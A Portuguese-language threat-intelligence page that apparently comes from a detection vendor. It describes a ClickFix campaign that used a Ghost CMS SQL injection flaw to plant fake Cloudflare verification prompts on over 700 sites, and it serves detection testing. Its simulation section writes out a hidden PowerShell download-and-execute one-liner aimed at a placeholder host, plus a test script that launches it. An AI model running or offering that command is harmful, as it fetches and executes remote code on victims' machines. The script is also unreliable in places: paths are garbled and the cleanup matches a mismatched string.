SOC Prime Bias: Crítico

29 May 2026 07:08 UTC

700+ sites de educação e tecnologia sequestrados em grande campanha de malware ClickFix

Author Photo
SOC Prime Team linkedin icon Seguir
700+ sites de educação e tecnologia sequestrados em grande campanha de malware ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Os atacantes exploraram uma falha crítica de injeção SQL no sistema de gestão de conteúdo Ghost para comprometer mais de 700 sites de educação e tecnologia. Após obterem chaves de API administrativas, eles injetaram JavaScript malicioso que exibia um falso prompt de verificação do Cloudflare. A página falsa instruía os visitantes a copiar e colar um comando do Windows que instalava malware em seus sistemas. A campanha depende de engenharia social para enganar os usuários a lançarem o payload eles mesmos.

Investigação

Pesquisadores identificaram o problema como CVE-2026-26980, afetando versões do Ghost 3.24.0 até 6.19.0. A exploração bem-sucedida permitiu acesso não autenticado ao conteúdo do banco de dados, incluindo extração da chave de API do admin. Os atacantes então usaram a chave roubada para alterar o conteúdo do site e incorporar scripts maliciosos que lançaram o fluxo de infecção do tipo ClickFix. O código injetado apresentava uma janela de verificação falsa que pressionava os usuários a rodar um comando através do Windows Run ou PowerShell.

Mitigação

As organizações devem atualizar o Ghost para uma versão posterior à 6.19.0 que corrige CVE-2026-26980. Qualquer chave de API administrativa exposta deve ser rotacionada imediatamente, e o acesso à API deve ser restrito rigorosamente. Defensores também devem implementar proteção de endpoint com filtragem web ou proteção de navegador e treinar usuários para nunca copiar e executar comandos de sites não confiáveis.

Resposta

As equipes de segurança devem detectar e bloquear injeções de JavaScript maliciosas em sites baseados no Ghost e monitorar páginas falsas de verificação do Cloudflare. Nos endpoints, defensores devem procurar por tentativas incomuns de execução de comando relacionadas a este anzol. Se a violação for confirmada, remova os scripts injetados, redefina as chaves de API afetadas e realize uma análise forense nos sistemas cliente impactados.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Ação</b> – <b>T1674 Injeção de Entrada</b>: Explorar injeção SQL no Ghost CMS para ler o banco de dados e obter a chave de API do admin."] class action_sql_injection action action_content_injection["<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b>: Usar a chave de API roubada para injetar JavaScript malicioso em páginas do site."] class action_content_injection action action_defacement["<b>Ação</b> – <b>T1491 Desfiguração</b>: Desfigurar o site com um diálogo de verificação falso do Cloudflare que exibe um comando copiar-colar."] class action_defacement action action_user_copy_paste["<b>Ação</b> – <b>T1204.004 Execução pelo Usuário</b>: Vítima copia e executa o comando exibido, satisfazendo a verificação falsa."] class action_user_copy_paste action action_powershell["<b>Ação</b> – <b>T1059.001 PowerShell</b>: O comando inicia o PowerShell que baixa e executa o payload de segunda etapa."] class action_powershell action malware_clickfix["<b>Malware</b>: ClickFix<br/><b>Finalidade</b>: Payload de segunda etapa entregue via PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|conduz_a| action_content_injection action_content_injection –>|conduz_a| action_defacement action_defacement –>|conduz_a| action_user_copy_paste action_user_copy_paste –>|aciona| op_user_execution op_user_execution –>|executa| action_powershell action_powershell –>|baixa| malware_clickfix "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa e Comandos do Ataque:

    1. Anzol de Engenharia Social: A vítima recebe um e-mail de phishing alegando que o Cloudflare requer verificação. O e-mail inclui um comando “Run”:

      Comando de Verificação Falsa do Cloudflare
    2. Interação da Vítima: O usuário abre o diálogo Run do Windows (Win+R) e cola a string exata Comando de Verificação Falsa do Cloudflare.

    3. Execução do Comando: A string mapeia para um one-liner oculto do PowerShell que baixa e executa um payload malicioso:

      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"

      Porque o diálogo Run invoca diretamente powershell.exe com os argumentos acima, o campo CommandLine registrado pelo Sysmon inclui a frase literal Comando de Verificação Falsa do Cloudflare (o atacante prefixa o comando com essa frase para acionar a regra).

    4. Atividade do Payload: O script baixado insere um web-shell em C:ProgramDatacloudflare e contata um servidor C2, satisfazendo T1505.001.

  • Script de Teste de Regressão: O seguinte script PowerShell reproduz exatamente as etapas que um membro da equipe vermelha tomaria para gerar a telemetria que aciona a detecção.

    <#
    Simula a execução ClickFix “Verificação Falsa do Cloudflare”.
    Finalidade: Verificar se a regra Sigma dispara na linha de comando exata.
    #>
    
    # Passo 1: Preparar um payload fictício (web-shell simulado) – sem chamada de rede real.
    $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
    New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
    Set-Content -Path $payloadPath -Value "# Web-shell fictício – sem código malicioso"
    
    # Passo 2: Construir a linha de comando maliciosa que uma vítima executaria.
    $maliciousCmd = @"
    Comando de Verificação Falsa do Cloudflare
    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
    "@
    
    # Passo 3: Simular o diálogo Run ao iniciar o comando via cmd.exe /c.
    # Isso preserva a string literal na linha de comando do processo.
    $fullCmd = "cmd.exe /c `"$maliciousCmd`""
    Write-Host "`n[+] Executando comando malicioso simulado..."
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null
    
    # Passo 4: Pausar brevemente para permitir que o Sysmon registre a criação do processo.
    Start-Sleep -Seconds 5
    
    Write-Host "`n[+] Simulação completa. Verifique no SIEM um evento de detecção."
    # Limpeza será feita separadamente.
  • Comandos de Limpeza: Remove os arquivos fictícios e quaisquer processos remanescentes.

    # Pare quaisquer processos PowerShell remanescentes iniciados pelo teste (se ainda em execução)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "Fake Cloudflare Verification Command"} |
        Stop-Process -Force
    
    # Remova a pasta do web-shell fictício
    Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "[+] Limpeza concluída."